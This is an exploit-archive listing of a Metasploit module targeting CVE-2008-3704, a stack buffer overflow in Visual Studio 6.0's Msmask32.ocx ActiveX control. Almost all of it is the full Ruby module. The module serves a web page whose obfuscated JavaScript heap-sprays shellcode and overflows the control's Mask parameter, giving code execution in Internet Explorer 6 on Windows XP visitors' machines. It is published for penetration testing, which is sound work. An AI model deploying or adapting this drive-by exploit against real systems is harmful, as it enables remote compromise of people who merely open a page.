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Microsoft Visual Studio Msmask32.ocx ActiveX Buffer Overflow.

Microsoft Visual Studio Msmask32.ocx ActiveX Buffer Overflow.
Posted Jun 17, 2010
Authored by koshi, MC | Site metasploit.com

This Metasploit module exploits a stack buffer overflow in Microsoft's Visual Studio 6.0. When passing a specially crafted string to the Mask parameter of the Msmask32.ocx ActiveX Control, an attacker may be able to execute arbitrary code.

tags | exploit, overflow, arbitrary, activex
advisories | CVE-2008-3704
SHA-256 | def095f5fae66e555774c80c31922aee92bbe086dec4cbf1548a0683a892e8c5

Microsoft Visual Studio Msmask32.ocx ActiveX Buffer Overflow.

Change Mirror Download
##
# $Id: ms08_070_visual_studio_msmask.rb 9532 2010-06-15 23:49:17Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Visual Studio Msmask32.ocx ActiveX Buffer Overflow.',
'Description' => %q{
This module exploits a stack buffer overflow in Microsoft's Visual Studio 6.0.
When passing a specially crafted string to the Mask parameter of the
Msmask32.ocx ActiveX Control, an attacker may be able to execute arbitrary
code.
},
'License' => MSF_LICENSE,
'Author' => [ 'koshi', 'MC' ],
'Version' => '$Revision: 9532 $',
'References' =>
[
[ 'CVE', '2008-3704' ],
[ 'OSVDB', '47475' ],
[ 'BID', '30674' ],
[ 'MSB', 'MS08-070' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP0-SP2 IE 6.0 SP0-SP2', { 'Ret' => '' } ]
],
'DisclosureDate' => 'Aug 13 2008',
'DefaultTarget' => 0))

register_options(
[
OptString.new('URIPATH', [ true, "The URI to use.", "/" ])
], self.class)
end

def autofilter
false
end

def check_dependencies
use_zlib
end

def on_request_uri(cli, request)
# Re-generate the payload.
return if ((p = regenerate_payload(cli)) == nil)

# Encode the shellcode.
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

# Create some nops.
nops = Rex::Text.to_unescape(make_nops(4))

# Randomize the javascript variable names.
vname = rand_text_alpha(rand(100) + 1)
var_i = rand_text_alpha(rand(30) + 2)
rand1 = rand_text_alpha(rand(100) + 1)
rand2 = rand_text_alpha(rand(100) + 1)
rand3 = rand_text_alpha(rand(100) + 1)
rand4 = rand_text_alpha(rand(100) + 1)
rand5 = rand_text_alpha(rand(100) + 1)
rand6 = rand_text_alpha(rand(100) + 1)
rand7 = rand_text_alpha(rand(100) + 1)
rand8 = rand_text_alpha(rand(100) + 1)
rand9 = rand_text_alpha(rand(100) + 1)
rand10 = rand_text_alpha(rand(100) + 1)
rand11 = rand_text_alpha(rand(100) + 1)

content = %Q|
<html>
<script language="javascript">
var #{rand1}='<object classid="clsid:C932BA85-4374-101B-A56C-00AA003668DC"><param name="Mask" value="';
var #{rand2}='"></object>';
var #{rand3} = '';
for (#{var_i}=1;#{var_i}<=2145;#{var_i}++){#{rand3}=#{rand3}+unescape("%0c");}
var #{rand4} = unescape("#{shellcode}");
var #{rand5} = (#{rand4}.length * 2);
var #{rand6} = unescape("#{nops}");
var #{rand7} = 0x0c0c0c0c;
var #{rand8} = 0x100000;
var #{rand9} = #{rand8} - (#{rand5} + 1);
var #{rand10} = (#{rand7}+#{rand8})/#{rand8};
var #{rand11} = new Array();
while (#{rand6}.length*2<#{rand9})
{ #{rand6} += #{rand6}; }
#{rand6} = #{rand6}.substring(0,#{rand9}/2);
for (#{var_i}=0;#{var_i}<#{rand10};#{var_i}++)
{ #{rand11}[#{var_i}] = #{rand6} + #{rand4}; }
document.write(#{rand1}+#{rand3}+#{rand2});
</script>
</html>
|

print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

# Transmit the response to the client
send_response_html(cli, content)

# Handle the payload
handler(cli)
end

end
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